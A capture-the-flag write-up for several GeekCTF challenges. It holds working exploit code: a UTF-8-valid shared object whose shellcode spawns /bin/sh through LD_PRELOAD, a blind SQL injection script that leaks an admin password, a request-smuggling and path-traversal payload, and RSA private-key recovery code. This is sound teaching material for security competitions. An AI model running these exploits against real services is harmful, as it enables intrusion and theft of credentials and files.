GEEKCTF Writeups
Played as 𐎼𐎠𐎱𐎹𐎢𐎫𐎠 and reached 2nd. Special thanks to crazyman for letting me know about the competition.
liquor
Good mountain and good water brew good wine, and good wine makes a man speak the truth.
http://chall.geekctf.geekcon.top:40404
Attachment: liquor.zip
1 solve, 1000 points
First blood 🩸 at 68:09:39 from challenge release.
Challenge liquor-server/src/main.rs
// ... async fn liquor(Json(payload): Json<LiquorInputs>) -> (StatusCode, Json<LiquorOutput>) { // Write UTF-8 string to ./words if let Err(e) = fs::write("./words", payload.words) { return ( StatusCode::INTERNAL_SERVER_ERROR, Json(LiquorOutput(e.to_string() + " when writing words. ")), ); } if let Err(e) = fs::write("./truth", "") { return ( StatusCode::INTERNAL_SERVER_ERROR, Json(LiquorOutput(e.to_string() + " when clearing truth. ")), ); } // run ./liquor let mut cmd = &mut Command::new("./liquor"); // ! with user-provided environment variables cmd = cmd.envs(&payload.envs); cmd = unsafe { cmd.pre_exec(|| { let emap = |e: Errno| io::Error::new(io::ErrorKind::Other, e.to_string()); setgroups(&[]).map_err(emap)?; setgid(1000.into()).map_err(emap)?; setuid(1000.into()).map_err(emap) }) }; let mut child = cmd.spawn().unwrap(); let one_sec = Duration::from_secs(1); if child.wait_timeout(one_sec).unwrap().is_none() { // child hasn't exited yet // child.kill().unwrap(); let _ = Command::new("/usr/bin/pkill").args(["-u", "ctf"]).status(); let _ = child.wait().unwrap().code(); return ( StatusCode::INTERNAL_SERVER_ERROR, Json(LiquorOutput("Timeout. ".to_owned())), ); }; // Send ./truth to the user let r = fs::read_to_string("./truth"); match r { Ok(s) => (StatusCode::OK, Json(LiquorOutput(s))), Err(e) => ( StatusCode::INTERNAL_SERVER_ERROR, Json(LiquorOutput(e.to_string())), ), } } // ...
A webservice writes a JSON string to the file ./words
, then executes a binary
./liquor
with user-specified environment variables to produce a file ./truth
which is then read by the server and forwarded to the user. The flag is stored
in /flag
.
We can set the LD_PRELOAD
environment variable to point to ./words
so that
it is loaded as a dynamic library. The challenge now boils down to crafting a
dynamic library that will copy /flag
to /liquor/truth
which is also a valid
UTF-8 string that complies with the rules of
UTF-8 leading and continuation bytes.
Writing UTF-8 compatible shellcodes by greuff from http://phrack.org/issues/62/9.html 3.1.3. Valid UTF-8 sequences Now that we know all this, we can tell which sequences are valid UTF-8: Code Points 1st Byte 2nd Byte 3rd Byte 4th Byte U+0000..U+007F 00..7F U+0080..U+07FF C2..DF 80..BF U+0800..U+0FFF E0 A0..BF 80..BF U+1000..U+FFFF E1..EF 80..BF 80..BF U+10000..U+3FFFF F0 90..BF 80..BF 80..BF U+40000..U+FFFFF F1..F3 80..BF 80..BF 80..BF U+100000..U+10FFFF F4 80..8F 80..BF 80..BF
We can refer to
a previous writeup of PlaidCTF golf.so
on how to golf dynamic libraries as this helps us engineer the ELF headers to
avoid unprintable bytes. Other reference texts on
UTF-8 compatible x86 shellcode and
ASCII-compatible x86_64 assembly
teaches us how to craft a payload for
execve("/bin/sh", ["/bin/sh", "-c", "cp /flag ./truth"]); exit(0);
with some
tricks:
- Labels may have offsets that are not UTF-8, so pad sections with empty space appropriately
- Reserving space on the stack with
sub rsp, ## = 48 83 ec ##
is not UTF-8, so usepush 0 = 6a 00
instead - Moving values between 64-bit registers with (e.g.)
mov rax, rcx = 48 89 c8
is not UTF-8, so move them via the stack withpush rax; pop rcx = 50 59
instead- Stack addresses can be saved using (e.g.)
push rsp; pop rcx = 54 59
- Stack addresses can be saved using (e.g.)
- Writing to stack using
mov
instructions begins with bytes88-8e
which is not UTF-8 while other instructions involving 64 bit immediates are also often not UTF-8, so stack writing is done 4 bytes at a time withpush ##; pop rax; xor [rcx+##], eax
withrcx
as a “stack pointer” - Thankfully
syscall = 0f 05
is UTF-8
Assembly for UTF-8 compatible shared object
; nasm -f bin words.asm -o words.so BITS 64 ; Headers stolen from https://starfleetcadet75.github.io/posts/plaid-2020-golf-so/ ehdr: ; Elf64_Ehdr db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 dw 3 ; e_type dw 0x3e ; e_machine dd 1 ; e_version dq shell ; e_entry dq phdr - $$ ; e_phoff dq 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 2 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr ; align to nearest 256 bytes ; so that phdr (?-$$) is utf-8 align 0x100, db 0x20 phdr: ; Elf64_Phdr dd 1 ; p_type dd 7 ; p_flags dq 0 ; p_offset dq $$ ; p_vaddr dq $$ ; p_paddr dq progsize ; p_filesz dq progsize ; p_memsz dq 0x1000 ; p_align phdrsize equ $ - phdr ; PT_DYNAMIC segment dd 2 ; p_type dd 7 ; p_flags dq dynamic ; p_offset dq dynamic ; p_vaddr dq dynamic ; p_paddr dq dynsize ; p_filesz dq dynsize ; p_memsz dq 0x1000 ; p_align ; align to nearest 256 bytes ; so that shell is utf-8 align 0x100, db 0x20 ; for debugging dq "BEG_" shell: ; memory for arguments push 0 ; nullbyte after "./truth" push 0 ; " ./truth" push 0 ; "cp /flag" push rsp pop r8 ; r8 = "cp /flag ./truth" push 0 ; "-c" push rsp pop r9 ; r9 = "-c" push 0 ; "/bin/sh" push rsp pop r10 ; r10 = "/bin/sh" push rsp pop rcx ; fake stack pointer ; rcx+0x00 = r8 = "/bin/sh" push 0x6e69622f pop rax xor [rcx+0x00], eax push 0x68732f pop rax xor [rcx+0x04], eax ; rcx+0x08 = r9 = "-c" push 0x632d pop rax xor [rcx+0x08], eax ; rcx+0x10 = r10 = "cp /flag ./truth" push 0x2f207063 pop rax xor [rcx+0x10], eax push 0x67616c66 pop rax xor [rcx+0x14], eax push 0x742f2e20 pop rax xor [rcx+0x18], eax push 0x68747572 pop rax xor [rcx+0x1c], eax ; rax = ["/bin/sh", "-c", "cp /flag ./truth"] and NULL terminator push 0 push r8 push r9 push r10 push rsp pop rax push rax pop rsi ; rsi = ["/bin/sh", "-c", "cp /flag ./truth"] push r10 pop rdi ; rdi = "/bin/sh" push 0 pop rdx ; rdx = NULL push 59 pop rax ; execve ; uncomment to segfault here for debugging ; mov rax, [0xdeadbeef] syscall ; execve("/bin/sh", ["/bin/sh", "-c", "cp /flag ./truth"]) push 0 pop rdi push 60 pop rax syscall ; exit(0) ; for debugging dq "END_" ; align to nearest 256 bytes ; so that dynamic and progsize is utf-8 align 0x100, db 0x20 dynamic: dt_init: dq 0xc, shell dt_strtab: dq 0x5, shell dt_symtab: dq 0x6, shell dynsize equ $ - dynamic progsize equ $ - $$
Exploit
import requests url = "http://chall.geekctf.geekcon.top:40404/liquor" # shouldn't throw UnicodeDecodeError with mode "r" with open("words.so", "r") as f: payload = f.read() res = requests.post(url, json={ "envs": { "LD_PRELOAD": "/liquor/words" }, "words": payload }) print(res.text)
"flag{A_w1NE_loveR's_mind_is_n0t_D1pped_in_th3_Boble7,_but_Dwell$_In_the_enVIronmeN7}\n"
Here is the payload to test for yourself.
HNP
I am suffering from Herniated Nucleus Pulposus, please help me!
nc chall.geekctf.geekcon.top 40555
Attachment: HNP.tar.xz
5 solves, 733 points
First blood 🩸 at 25:47:06 from challenge release.
With 2048 bit public , a random 2048 bit and 256 bit are generated and the values are generated as
You are given 1023 out of 2048 bits organized in three chunks for each and need to calculate .
After modelling the missing bits of as three 341 to 343-bit unknowns, we can use sets of as orthogonal vectors of the form where . This can be solved using lattice reduction with careful scaling for the various columns.
By solving two chunks of , we know enough of to recover using classic HNP. Careful implementation is needed to finish under time constraint.
SpARse
You stole Alice’s RSA private key, but it is sparse, can you recover the whole key?
flag is
md5sum privkey.pem | awk '{print "flag{"$1"}"}'
Attachment: SpARse.tar.xz
6 solves, 687 points
First blood 🩸 at 18:09:50 from challenge release.
Recover wounded RSA key to find partial bits of , with particular care for as it is 129 bytes long.
Parse key
import base64 with open("sparse.pem", "r") as f: raw = f.read() unkchar = "?" key_b64 = "".join(raw.split("\n")[1:-1]) key_bytes = base64.b64decode( key_b64.replace(unkchar, "A")[:-2] + "==" ) key_mask = base64.b64decode( "".join([ "/" if i != unkchar else "A" for i in key_b64 ])[:-2] + "==" ) bufs = [key_bytes, key_mask] def take(l, desc="?", show=True, full=False, check=None, checkhex=None): if check is None and checkhex is not None: check = bytes.fromhex(checkhex) if check: assert int(check.hex(), 16) & int(bufs[1][:l].hex(), 16) == int(bufs[0][:l].hex(), 16) if show: print(desc) for i in range(2): if l < 30 or full: print(bufs[i][:l].hex()) else: bitcount = bin(int(bufs[i][:l].hex(), 16)).count("1") n_set_bits = [f"{bitcount}/{l*8}"] if i == 1 else [] print(bufs[i][:l][:15].hex(), "...", bufs[i][:l][-15:].hex(), *n_set_bits) print() ret = [] for i in range(2): ret.append(int(bufs[i][:l].hex(), 16)) for i in range(2): bufs[i] = bufs[i][l:] return ret take(4, "struct header") take(3, "int length 1, version 0") take(4, "int length 257") n, nmask = take(257, "value of n") take(5, "int length 0x03, e = 0x0100??, likely 0x010001", checkhex="0203010001") e = 0x10001 take(4, "int length 0x?1??, likely 256", checkhex="02820100") d, dmask = take(256, "value of d, corrupted") take(3, "int length 0x?1, likely 129", checkhex="028181") p, pmask = take(129, "value of p, corrupted") take(3, "int length 0x?1, likely 129", checkhex="028181") q, qmask = take(129, "value of q, corrupted") take(3, "int length 0x80", checkhex="028180") dp, dpmask = take(128, "value of dp, corrupted") take(3, "int length 0x81 (could be 0x80, but this gives solution)", checkhex="028181") dq, dqmask = take(129, "value of dq, corrupted") with open("params.py", "w") as f: f.write(f"{n = }\n") f.write(f"{e = }\n") f.write(f"{d = }\n") f.write(f"{dmask = }\n") f.write(f"{p = }\n") f.write(f"{pmask = }\n") f.write(f"{q = }\n") f.write(f"{qmask = }\n") f.write(f"{dp = }\n") f.write(f"{dpmask = }\n") f.write(f"{dq = }\n") f.write(f"{dqmask = }\n")
struct header 308204a3 ffffffff int length 1, version 0 020100 ffffff int length 257 02820101 ffffffff value of n 00cf7a26efb8e9585aed01464d3d3d ... 89e97345557c8d318be17b10b0a4f9 ffffffffffffffffffffffffffffff ... ffffffffffffffffffffffffffffff 2056/2056 int length 0x03, e = 0x0100??, likely 0x010001 0203010000 ffffffffc0 int length 0x?1??, likely 256 00000100 fc003ffc value of d, corrupted 0dc0680000000dc003801801a00000 ... 50000200b80000000d750000180000 0fc0fc0000000fc003f03f03f00000 ... ff000fc0fc0000000fff00003f0000 564/2048 int length 0x?1, likely 129 000001 00000f value of p, corrupted 000000220006920000230009400000 ... 00d00000300000022019000c000007 ff00003f000fff00003f000fc00000 ... 00fc0000fc000003f03f000fc0000f 306/1032 int length 0x?1, likely 129 000001 c0000f value of q, corrupted 0001454000000000001b020000840e ... 00d000000000000000004000007170 c003ffc000000000003f03f000fc0f ... 00fc0000000000000000fc0000fff0 308/1032 int length 0x80 008180 00ffff value of dp, corrupted 4000000003601e000000240740dc0c ... 0000780780000ed9034000ee3000f5 c000000003f03f000000fc0fc0fc0f ... 0000fc0fc0000fff03f000fff000ff 388/1024 int length 0x81 (could be 0x80, but this gives solution) 000080 f000fc value of dq, corrupted 000003f01f000edd00000002a03900 ... 500400064080000000c03500000000 000003f03f000fff00000003f03f00 ... f03f000fc0fc000003f03f00000000 276/1032
Using z3 we can find such that
Solve k, kp ,kq
import z3 import params nbits = 128 mod = 2 ** nbits def t(x): return x % mod s = z3.Solver() p_sym = z3.BitVec("p", nbits) q_sym = z3.BitVec("q", nbits) s.add(p_sym & t(params.pmask) == t(params.p)) s.add(q_sym & t(params.qmask) == t(params.q)) s.add(p_sym * q_sym == t(params.n)) dp_sym = z3.BitVec("dp", nbits) kp_sym = z3.BitVec("kp", nbits) s.add(dp_sym & t(params.dpmask) == t(params.dp)) s.add(kp_sym >> 17 == 0) s.add(kp_sym < params.e) s.add(dp_sym * params.e == kp_sym * (p_sym-1) + 1) dq_sym = z3.BitVec("dq", nbits) kq_sym = z3.BitVec("kq", nbits) s.add(dq_sym & t(params.dqmask) == t(params.dq)) s.add(kq_sym >> 17 == 0) s.add(kq_sym < params.e) s.add(dq_sym * params.e == kq_sym * (q_sym-1) + 1) d_sym = z3.BitVec("d", nbits) k_sym = z3.BitVec("k", nbits) s.add(d_sym & t(params.dmask) == t(params.d)) s.add(k_sym >> 17 == 0) s.add(k_sym < params.e) s.add(d_sym * params.e == k_sym * (p_sym-1) * (q_sym-1) + 1) res = s.check() # 6min34s print(res) model = s.model() k = model[k_sym].as_long() kp = model[kp_sym].as_long() kq = model[kq_sym].as_long() print(f"{k = }") print(f"{kp = }") print(f"{kq = }")
sat k = 39770 kp = 30590 kq = 64743
Eventually, we get . We can use this to search-and-prune to solve the low 7881 bits of .
Search and prune
import params from itertools import product limit = 788 k = 39770 kp = 30590 kq = 64743 def choices(cur, val, mask, twiddle_bit): if mask & twiddle_bit: return [cur + (val & twiddle_bit)] else: return [cur, cur + twiddle_bit] def dfs(pos, pval, qval, dval, dpval, dqval): global soln if pos == limit: cur_soln = f"{pval = }\n{qval = }\n{dval = }\n{dpval = }\n{dqval = }" soln.append(cur_soln) return if random.random() < 0.0001: display.display(pos, len(soln), clear=True) twiddle_bit = 2 ** pos mod = twiddle_bit * 2 pchoices = choices(pval, params.p, params.pmask, twiddle_bit) qchoices = choices(qval, params.q, params.qmask, twiddle_bit) dchoices = choices(dval, params.d, params.dmask, twiddle_bit) dpchoices = choices(dpval, params.dp, params.dpmask, twiddle_bit) dqchoices = choices(dqval, params.dq, params.dqmask, twiddle_bit) for pnext, qnext in product(pchoices, qchoices): if pnext * qnext % mod != params.n % mod: continue for dpnext in dpchoices: if dpnext * params.e % mod != (kp * (pnext - 1) + 1) % mod: continue for dqnext in dqchoices: if dqnext * params.e % mod != (kq * (qnext - 1) + 1) % mod: continue for dnext in dchoices: if dnext * params.e % mod != (k * (pnext - 1) * (qnext - 1) + 1) % mod: continue dfs(pos+1, pnext, qnext, dnext, dpnext, dqnext) dfs(0, 0, 0, 0, 0, 0) for s in soln: print(s)
pval = 887688208600590008791464858306836198534448489895016805349943297171794363325727772207412151175392110746438108868631941169878795063752031572193068694599410790560307931100163436406168989151462072455948472036260555086633395950230586937423239 qval = 1624794248011133468697695565404136476875206637561644846902853714542528816135496601854750526571323643766827905265992588929161934221988369673325857586049362693085858630271578104889723160022092022066742272630515414049506655410860728676610431 dval = 523190016019970494514198745323723434618080828131536961612542343166909570729425476368699782358317102718735849003857412728999303814414652963116702387395808505389913235216452350082103993168562411298257943620799420987997942501826243499393993 dpval = 116853901831515108968594547416935345385070879453949626338879956752651809430634699180743132814537508888031739823224064752140243253449409098131997279744298997358312883639226695179378127038428241774195803031417768762918159786888191752249845 dqval = 497870380271765222392429462762522141827081560043750281573535259718456091143583342781295119633461413331083366092875230372353405216189914898562788729882524239116712859216150506150143272744904201560069677620668837322707439821879845619134643
The rest of can be solved using small roots.
Small roots
import params Fn = Zmod(params.n) Rn.<x> = PolynomialRing(Fn) p_low_788 = 887688208600590008791464858306836198534448489895016805349943297171794363325727772207412151175392110746438108868631941169878795063752031572193068694599410790560307931100163436406168989151462072455948472036260555086633395950230586937423239 poly = x * 2^788 + p_low_788 poly = poly.monic() res = poly.small_roots(2^(1024-788), beta=0.49) p = ZZ(res[0]) * 2^788 + p_low_788 assert params.n % p == 0 print(f"{p=}")
p=147265078724969536365832804097158908382797954720876979653011951728406956112387192598824544012306646169035006144198481048711301331247260259281889124056472140003652896595645729235440361839211945606851933815085064600602384039806104472396638159553493474999959228820209555647809413406679561108752796856362130322823
And the flag can be obtained by regenerating the private key file.
Recover flag
import params from Crypto.PublicKey import RSA n = params.n p = 147265078724969536365832804097158908382797954720876979653011951728406956112387192598824544012306646169035006144198481048711301331247260259281889124056472140003652896595645729235440361839211945606851933815085064600602384039806104472396638159553493474999959228820209555647809413406679561108752796856362130322823 q = n // p tot = (p-1) * (q-1) e = params.e d = pow(e, -1, tot) rsa_key = RSA.construct(tuple([int(i) for i in [n, e, d, p, q]])) rsa_key_bytes = rsa_key.export_key("PEM") with open("key_solved.pem", "wb") as f: f.write(rsa_key_bytes) !md5sum key_solved.pem | awk '{print "flag{"$1"}"}'
flag{d13b8e56805cf71cb75789dda1816587}
For more challenges on wounded RSA keys, see ACSC 2023 Corrupted and UIUCTF 2022 Bro-key-n.
SafeBlog2
Using WordPress is a bit too dangerous, so I’m developing my own blogging platform, SafeBlog2, to have full control over its security.
P.S. It is recommended to test your exploit locally before creating an online instance.
Attachment: SafeBlog2.zip, (Instancer)
8 solves, 611 points
The challenge implements a blog with comments and like counters backed by a
suspicious query builder. A 32-character hex string is the admin password stored
inside of the admins
table, and is reset after the query builder is used 4
times.
Challenge db.js
let queries = 0; function filterBuilder(model, filter) { return { where: 'WHERE ' + Object.keys(filter) .map((key, index) => { assert(models[model].includes(key), `Invalid field ${key} for model ${model}`); return `${key} = ?`; }) .join(' AND '), params: Object.values(filter), }; } function sortBuilder(model, sort) { return Object.keys(sort) .map((key, index) => { assert(models[model].includes(key), `Invalid field ${key} for model ${model}`); assert(['ASC', 'DESC'].includes(sort[key]), `Invalid sort order ${sort[key]} for field ${key} in model ${model}`); return `${key} ${sort[key]}`; }) .join(', '); } async function runQuery(model, filter, sort) { queries++; const { where, params } = filter ? filterBuilder(model, filter) : { where: '', params: [] }; const order_by = sort ? `ORDER BY ${sortBuilder(model, sort)}` : ''; return new Promise((resolve, reject) => { db.all(`SELECT * FROM ${model} ${where} ${order_by}`, params, (err, rows) => { if (err) { reject(err); } else { resolve(rows); if (queries >= 4) { db.run(`UPDATE admins SET password = "${passwordGenerator(16)}" WHERE id = 1`); queries = 0; } } }); }); }
Firstly, NODE_NDEBUG=1
disables any calls to require('assert-plus')
and we
can ignore it.
The runQuery
function builds a SQL query depending on the data in filter
and
sort
. In the /comment/like
endpoint, the GET parameters are passed directly
to runQuery
as filter
. We can use query parameters with malformed keys to
inject text into the SQL statement itself.
// GET /comment/like?post_id=1 // turns into db.all(`SELECT * FROM comments WHERE post_id = ?`, ["1"]); // GET /comment/like?post_id=1&inject=1 db.all(`SELECT * FROM comments WHERE post_id = ? AND inject = ?`, ["1", "1"]); // GET /comment/like?post_id=1&%271%27+%3D+%271%27+OR+%271%27=1 // key = "1&'1' = '1' OR '1'" // value = "1" db.all(`SELECT * FROM comments WHERE post_id = ? AND '1' = '1' OR '1' = ?`, [ "1", "1", ]); // ...
One way to leak the admin password would be to use a subquery to load the admin
password, then incorporate the password into the filter so that a subset of
comments are returned and their like counters are increased. For example, we can
abuse the LIKE
operator
by inserting patterns in comment contents such as content = '%0%'
,
content = '%1%'
, then injecting:
SELECT * FROM comments WHERE (SELECT password from admins) LIKE content AND '1' = ?
If the admin password contains 0
but not 1
, the like counter for the first
comment will increase but the second comment will stay the same.
We can author comments where the content checks if each of the 16 possible hex
characters are in each of the 32 positions of the admin password, then call
/comment/like
with our SQL injection to bulk-like the relevant comments. By
keeping track of which comments have a non-zero like counters, the password can
be recovered.
Exploit
import requests from itertools import product from tqdm.auto import tqdm from pwn import xor url = "http://38y7gfgqghbr9ebr.instance.chall.geekctf.geekcon.top:18080" hexchars = "0123456789abcdef" # Author the 512 comments for c, pos in tqdm(product(hexchars, range(32)), total=16 * 32): requests.get(url + "/comment/new", params={ "post_id": '1', "name": "a", "content": "_" * pos + c + "_" * (31-pos) }, allow_redirects=False) # Like the relevant comments with SQLi and subquery requests.get(url + "/comment/like/", params={ "post_id": '1', """ '1' = '1' AND (SELECT password from admins) LIKE content AND '1'""".strip(): "1" }, allow_redirects=False) # Find which comments were liked res = requests.get(url + "/post/1") pwparts = [ p.partition("</li>")[0][90:][:32] for p in res.text.split("<li>") if "1 Likes" in p ] pw = xor(*pwparts, "_" * 32).decode() print(pw) # Claim flag res = requests.get(url + "/admin", params={ "username": "admin", "password": known }) print(res.text)
0%| | 0/512 [00:00<?, ?it/s] 8855d833455ed060eb72e76925336ffe <!DOCTYPE html> <html lang="en"> [...] <h2>Welcome back, Admin!</h2> <p>Here is your flag: <code>flag{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}</code></p> [...] </html>
PicBed
PicBed is an elegant image hosting service which uses webp_server_go to serve your JPG/PNG/BMP/SVGs as WebP/AVIF format with compression, on-the-fly.
P.S. It is recommended to test your exploit locally before creating an online instance.
Attachment: PicBed.zip, (Instancer)
7 solves, 647 points
A flask server makes a HTTP request using raw sockets to a webp-server-go
server and our goal is local file inclusion of a flag image outside of the
directory for uploads.
The python server reads a url-encoded Accept
header and injects that to the
socket payload; we can use this for request smuggling by adding a
Connection: Keep-Alive
header and including an entire second request of our
own control.
Challenge app.py
def fetch_converted_image(path, accept, timeout=0.5): """ Send user request to webp server and get the converted image """ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("127.0.0.1", 3333)) s.send( f"GET /{path} HTTP/1.1\r\nAccept: {accept}\r\nConnection: close\r\n\r\n".encode() ) chunks = [] begin = time.time() while True: if time.time() - begin > timeout: break try: data = s.recv(4096) chunks.append(data) except: pass chunks = b"".join(chunks) image = chunks.split(b"\r\n\r\n")[-1] type = re.search(b"Content-Type: ([^\r\n]+)", chunks).group(1) return image, type.decode() if type else "text/plain" @app.route("/pics/<string:path>") def pics(path): if path not in os.listdir("pics"): abort(404) accept = unquote_plus(request.headers.get("Accept")) img, type = fetch_converted_image(path, accept) return img, 200, {"Content-Type": type}
webp-server-go
uses the fiber
webserver and normalizes some of it’s paths to
avoid path traversal. However,
some other source suggests that golang’s
path cleaning may not be robust. We can replicate the normalization with our own
server and investigate.
// go mod init example.com/m // go get github.com/gofiber/fiber/v2 // go run main.go package main import ( "net/url" "path" "fmt" "github.com/gofiber/fiber/v2" ) func main() { app := fiber.New() app.Get("/*", func(c *fiber.Ctx) error { var reqURIRaw, _ = url.QueryUnescape(c.Path()) var reqURI = path.Clean(reqURIRaw) var rawImageAbs = path.Join("./pics", reqURI) return c.SendString(fmt.Sprintf("c.Path: %s\nreqURIRaw: %s\nreqURI: %s\nrawImageAbs: %s", c.Path(), reqURIRaw, reqURI, rawImageAbs)) }) app.Listen(":3000") }
$ nc localhost 3000 > GET /a/b/c HTTP/1.1 < c.Path: /a/b/c < reqURIRaw: /a/b/c < reqURI: /a/b/c < rawImageAbs: pics/a/b/c > GET /../../../../flag.png HTTP/1.1 < c.Path: /../../../../flag.png < reqURIRaw: /../../../../flag.png < reqURI: /flag.png < rawImageAbs: pics/flag.png > GET ../../../../flag.png HTTP/1.1 < c.Path: ../../../../flag.png < reqURIRaw: ../../../../flag.png < reqURI: ../../../../flag.png < rawImageAbs: ../../../flag.png
If we omit the leading slash of the path parameter, rawImageAbs
remains
relative and we have local file inclusion.
Exploit
import requests def encode_all(string): return "".join("%{0:0>2x}".format(ord(char)) for char in string) url = "http://vmhh9q6rtj8mjxpf.instance.chall.geekctf.geekcon.top:18080" res = requests.post(url + "/upload", files={ "pic": open("oiia.jpg", "rb") # whatever image you have here }) path = res.text.rpartition('img src="')[-1].partition('"')[0] rn = "\r\n" payload = ( "*/*" + rn + "Connection: Keep-Alive" + rn + "" + rn + "" + rn + # v no leading slash!!! "GET ../../flag.png HTTP/1.1" + rn + "Accept: */*" ) res = requests.get(url + path, headers={ "Accept": encode_all(payload) }) with open("flag.png", "wb") as f: f.write(res.content)
Footnotes
-
The number of candidate solutions derived from search-and-prune at the 900 bit range becomes exponential; 788 bits was chosen because there was only one candidate. ↩